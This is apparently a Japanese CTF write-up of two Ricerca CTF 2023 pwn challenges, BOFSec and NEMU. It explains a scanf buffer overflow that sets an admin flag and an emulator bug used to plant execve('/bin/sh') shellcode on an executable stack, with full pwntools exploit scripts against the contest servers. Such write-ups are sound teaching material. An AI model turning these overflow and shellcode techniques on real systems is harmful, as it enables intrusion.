Ricerca CTF 2023 参加記 - writeup
はじめに
何日ぶりだろう...てくらい久々にCTFをがっつりやりました。ていうのも最近お金がなくて、twitterをボケっと見てたら「日本の学生上位3チームには賞金が出ます!」というのにつられて始めました。しかも有名なリチェルカさんがやるってことだったので興味あったんですよね。ということで、この度は学内で有志を募って挑んでまいりました。
結果
いつも通り早稲田大学のチームm1z0r3で参加しました。結果は全体20位、日本の学生のみだと4位か5位でした。入賞は3位からだったので、もうちょっと頑張れば...と後悔の念が出てきます。まあチームとしても最近はあまり活動してなかったので、復活戦としてはまずまずじゃないかなあと思っています。僕は大体pwnかrevしかやらんのですが、今回このジャンルの問題が豊富でしたよね!(たぶんyudaiさんがいるから)。とてもよかったです。
できた問題は無念ながら
- BOFSec
- NEMU
だけでした。今日はとりあえずできた問題のwriteupだけ書きますが、来週くらいにできなかった問題の復習として
- Oath to Order
- safe thread
- gatekeeper (misc)
あたりのwriteupを書いてみようかなと思います。ということで上記の問題解けた方、writeupを残していただけると泣いて喜びます。
writeup
BOFSec(pwn, warmup)
初心者向けの問題です。
ソースコードのmain()
がこんな感じです
auth_t get_auth(void) { auth_t user = { .is_admin = 0 }; printf("Name: "); scanf("%s", user.name); return user; } int main() { char flag[0x100] = {}; auth_t user = get_auth(); if (user.is_admin) { puts("[+] Authentication successful."); FILE *fp = fopen("/flag.txt", "r"); if (!fp) { puts("[!] Cannot open '/flag.txt'"); return 1; } fread(flag, sizeof(char), sizeof(flag), fp); printf("Flag: %s\n", flag); fclose(fp); return 0; } else { puts("[-] Authentication failed."); return 1; } }
要約すると、main()
4行目のif文でuser.is_admin
が0じゃなければflagが出る、ということです。user
のauth_t
型の定義はこれです。
typedef struct { char name[0x100]; int is_admin; } auth_t;
攻撃は
get_auth()
内のscanf()
で、0x100バイトを超える入力を入れる
だけで成功します。scanf()
はフォーマットに"%s"
を指定すると際限なく読み込みをしてしまうので、簡単にバッファオーバーフローが起きます。その結果、0x100を超える入力は、隣接しているis_admin
を上書きしてしまいます。その結果、main()
内のif文が真になりフラグが出力されるという流れになります。
コピペ用の攻撃コードです。python3 solver.py
でgdbが起動するので、初心者の方は処理を追ってみるといいかなと思います。
from pwn import * HOST = "bofsec.2023.ricercactf.com" PORT = 9001 CHALL_BIN = "./chall" context.log_level = "DEBUG" gs = ''' b main c ''' context.binary = ELF(CHALL_BIN, checksec=False) elf = context.binary libc = ELF(CHALL_LIBC, checksec=False) def start(): if args.REMOTE: return remote(HOST, PORT) elif args.LOCAL: return process([elf.path]) else: return gdb.debug([elf.path], gdbscript=gs) def exploit(): io.sendline("a"*0x101) print() io = start() exploit() io.interactive()
NEMU
個人的には初めての仮想VM的な問題でした。ここから何度がグッと上がります。
調査
checksecとか使うとスタック領域が実行可能になっているのが分かります。ということは、攻撃のゴールはシェルコードを実行させることです。まずはどんなバイナリか見ていきます。
Welcome to NEMU! We now only have following 6 instructions: 1) LOAD [imm]: Load value [imm] into ACC register 2) MOV [reg]: Copy data stored in AC register into [reg] register 3) INC [reg]: Increment the value stored in [reg] register 4) DBL [reg]: Double the value stored in [reg] register 5) ADDI [imm]: Add value [imm] to the value of ACC register 6) ADD [reg]: Add value stored in [reg] register to the value of ACC register Current register status: REG1(r1): 0x00000000 REG2(r2): 0x00000000 REG3(r3): 0x00000000 ACC(r0): 0x00000000
実行するとこんな出力が出ます。どうやら簡易的な命令とレジスタをエミュレートするプログラムのようです。使うときはopcodeの番号と、operand(即値は#
、レジスタはr
をつけて書く)を入力すると実行されます。以下は#5
をACC
にロードさせた例です。
opcode: 1 operand: #5 Current register status: REG1(r1): 0x00000000 REG2(r2): 0x00000000 REG3(r3): 0x00000000 ACC(r0): 0x00000005
僕はとりあえずなんも考えずに触っていたらバグを見つけました。こんな命令を実行しました。
LOAD #5 MOV r1 ADD r1
実行すると、こんな状態になります。
Current register status: REG1(r1): 0x0000007d REG2(r2): 0x00000000 REG3(r3): 0x00000000 ACC(r0): 0x00000082
ADD
はoperandのレジスタをACC
に加える命令なので、r1=5
, ACC=10
になっているのが正解です。しかし、実際にはACC
もREG1
もおかしな値になっていますね。ここで、GDBを使って中で何が起こっていたかを見てみましょう。まず、main()
に入ってすぐのスタックの状態がこんな感じです。
ここで、LOAD #5
を実行するとこうなります(ACC
に書き込まれます)
次にMOV r1
を実行するとこうなります。(r1
にコピーされます)
ソースコードではレジスタはmain()
のローカル変数として定義されています。つまりスタック上に確保されます。
int main() { void *op_fp, *read_fp; uint64_t operand; int32_t r1 = 0, r2 = 0, r3 = 0, a = 0;
これと見比べても、ここらへんの領域がレジスタの値を保持しているようです。(別の実行時に取ったスクショです。。右上がACC
、左上r3
、右下r2
、左下r1
)
では、ADD r1
が実行されるとどうなるでしょうか?実行を丁寧に追っていくと、こんなコードを実行しているのがわかります。
なにやら、rax
の参照先にrax
の下位1バイトを加算していますね。この時のrax
の値はr1
のアドレスなので、この命令のせいでr1
とACC
の値がおかしくなっているのだなとわかります。実はこの命令、0x0000
を命令と解釈したものなので、何かバグが起きているのではないかな?と気づけます。ここでrip
のアドレスをよく見てみると、スタック領域でかつr1
のすぐ下のアドレスであることがわかります。実はこの領域、もともとは命令が書いてあったんですが、MOV r1
でr1
に書き込んだときに0x00000000
が書き込まれてしまっているんです。少し前のスクショを見てもらうとわかるかと思います。
ここまででわかったことをまとめます。
- スタックは実行可能になっている
- レジスタはスタック領域に格納されている
r1
の上の領域はバグが起こせるADD
命令で、r1
の上の領域の命令を実行できる
これらを総合すると以下のようなシナリオが考えられます。
- レジスタ命令を書き込んで、スタック内でシェルコードを完成させる
r1
の上の領域にシェルコードのエントリを書き込む(シェルコード本体へのジャンプ)ADD
命令で発火
Exploit
まずは命令を好き放題書き込むことが可能なのか考えてみます。MOV
命令はバグにより上位4バイトを符号拡張した8バイト単位でコピーします。しかし、これだけでは何もできないのでDBL
命令を使います。この命令も8バイト単位で値を2倍します。2倍するというのは左シフト1回分に等しいので、r1
に書き込んだ値を32回2倍すればr1
の上の領域に書き込むことができます。それ以外の領域はMOV
命令のバグに気を付けつつ左シフトを駆使することで、好きな値を書き込むことができます。
しかし、書き込める領域がすごい小さいんですよね。。。これがこの問題の悩みどころでした。一般にシェルコードの目的は、execve("/bin/sh", NULL, NULL);
を実行することなので、アセンブリではこのように書きます。
mov rax, 59 ; syacall命令実行時にexecveを呼ぶよう指定 mov rdi "/bin/sh" ; 第1引数 mov rsi, 0 ; 第2引数 mov rdx, 0 ; 第3引数 syscall ; execve("/bin/sh", NULL, NULL); db: "/bin/sh"
もちろん"/bin/sh"
もバイナリとして書き込む必要があります。これが結構スペースを食うんですよね。ということで、どうしたら短縮できるかを考えます。
もし第二引数(rsi
)と第三引数(rdx
)がもともと0(NULL)ならmov rsi, 0
とかはいらなくなります。実際にADD
命令実行時のx86_64のレジスタを見てみると、こうなっています。
何と0になっていますね!これで何とか書けそうです。ちなみにrdi
もスタック領域を指しているので、mov
するよりsub
で減算させた方が使うメモリが少なく済みます。最後にmov rax, 59
ですが、push 59; pop rax
にすると3バイトで済ませることができます。また、push 59
の方は2バイトなので、r1
の上にjmp
命令の前に書き込むこともできます。これらの工夫をした結果、シェルコードはこんな感じになりました。
head: pop rax sub rdi, 0x4 syscall 0x00 "/bin/sh" 0x00 push 59 ; ←ADD命令後、ここから実行が始まる jmp head
このExploitコードを実行するといい感じにスタック上にシェルコードを配置してくれます。
# -*- coding: utf-8 -*- from pwn import * HOST = "nemu.2023.ricercactf.com" PORT = 9002 CHALL_BIN = "./chall" CHALL_LIBC = "/usr/lib/x86_64-linux-gnu/libc.so.6" #context.terminal = ['tmux', 'split-window', '-h'] context.log_level = "DEBUG" gs = ''' b *(&main+0x3b2) c ''' context.binary = ELF(CHALL_BIN, checksec=False) elf = context.binary libc = ELF(CHALL_LIBC, checksec=False) def start(): if args.REMOTE: return remote(HOST, PORT) elif args.LOCAL: return process([elf.path]) else: return gdb.debug([elf.path], gdbscript=gs) def load(imm): io.sendlineafter("opcode:", "1") io.sendlineafter("operand:", "#" + str(imm)) def mov(reg): io.sendlineafter("opcode:", "2") io.sendlineafter("operand:", "r" + str(reg)) def inc(reg): io.sendlineafter("opcode:", "3") io.sendlineafter("operand:", "r" + str(reg)) def dbl(reg): io.sendlineafter("opcode:", "4") io.sendlineafter("operand:", "r" + str(reg)) def addi(imm): io.sendlineafter("opcode:", "5") io.sendlineafter("operand:", "#" + str(imm)) def add(reg): io.sendlineafter("opcode:", "6") io.sendlineafter("operand:", "r" + str(reg)) def exploit(): load(0xeceb3b6a>>1) mov(1) for i in range(0, 33): dbl(1) load(u32(b"/sh\0")) mov(2) for i in range(0, 32): dbl(2) load(u32(b"/bin")) mov(3) for i in range(0, 32): dbl(3) load(0x050f04) for i in range(0, 32): dbl(0) load(0xef834858) add(1) io = start() exploit() io.interactive()
終わりに
実は別のチームメンバーがNEMUをstagerで解いていました。勉強不足なのであまりやり方はよく知らないんですが、最初にreadシステムコールを呼び出してシェルコードを書き足していくやり方みたいです。そう考えるとstagerの方がいろいろな場合に対応できるので賢いな~と思い勉強させていただきました笑
他のpwnの問題はexit()
後に呼ばれる関数ポインタをいじって任意の呼び出しをする問題や、ヒープガチャガチャ問でした。ヒープはtcacheの仕様がglibc2.35くらいから変わって、そのあたりからCTFではやらなくなってしまったので久しぶりにやりたいですね。来週くらいにまた復習しようと思うので、解けてないけどwriteup書こうかなと思います。
それでは~